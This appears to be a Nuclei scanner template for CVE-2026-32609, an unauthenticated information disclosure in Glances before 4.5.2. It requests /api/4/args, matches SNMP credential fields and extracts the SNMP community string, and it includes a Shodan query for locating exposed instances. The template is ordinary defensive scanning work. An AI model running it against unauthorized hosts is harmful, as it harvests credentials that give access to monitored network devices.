Glances before 4.5.2 exposes the full command line arguments namespace through the unauthenticated /api/4/args REST API endpoint when it runs without --password, which is the default. The response includes the SNMP community string, SNMP v3 user and authentication key, the Glances username, the password hash when one is configured, and the configuration file path.
id: CVE-2026-32609
info:
name: Glances < 4.5.2 - Information Disclosure
author: s4e-io
severity: high
description: |
Glances before 4.5.2 exposes the full command line arguments namespace through the unauthenticated /api/4/args REST API endpoint when it runs without --password, which is the default. The response includes the SNMP community string, SNMP v3 user and authentication key, the Glances username, the password hash when one is configured, and the configuration file path.
impact: |
Remote attackers can read SNMP credentials and other secrets passed to Glances, which can be reused to access monitored network devices.
remediation: |
Upgrade to version 4.5.2 or later, and enable authentication with --password.
reference:
- https://github.com/nicolargo/glances/security/advisories/GHSA-cvwp-r2g2-j824
- https://github.com/nicolargo/glances/commit/ff14eb9780ee10ec018c754754b1c8c7bfb6c44f
- https://nvd.nist.gov/vuln/detail/CVE-2026-32609
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
cvss-score: 7.5
cve-id: CVE-2026-32609
epss-score: 0.01989
epss-percentile: 0.8131
cwe-id: CWE-200
cpe: cpe:2.3:a:nicolargo:glances:*:*:*:*:*:*:*:*
metadata:
verified: true
vendor: nicolargo
product: glances
shodan-query: http.title:"Glances"
tags: cve,cve2026,glances,exposure,unauth,vuln
http:
- method: GET
path:
- "{{BaseURL}}/api/4/args"
matchers:
- type: dsl
dsl:
- 'status_code == 200'
- 'contains(content_type, "application/json")'
- 'contains_all(body, "\"snmp_user\"", "\"snmp_auth\"", "\"conf_file\"")'
- 'regex("\"snmp_community\"\\s*:\\s*\"[^*\"]", body)'
condition: and
extractors:
- type: json
part: body
json:
- '"snmp_community: " + .snmp_community'
# digest: 490a0046304402204a175e0a627be228a0a9b3031d40627fd979d27fe695e88e08a5c85b894daf4c02204c3ddc216d2241ef11b63f29f6c4c519970894be106f263bb1600641b8377024:922c64590222798bb761d5b6d8e72950
# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.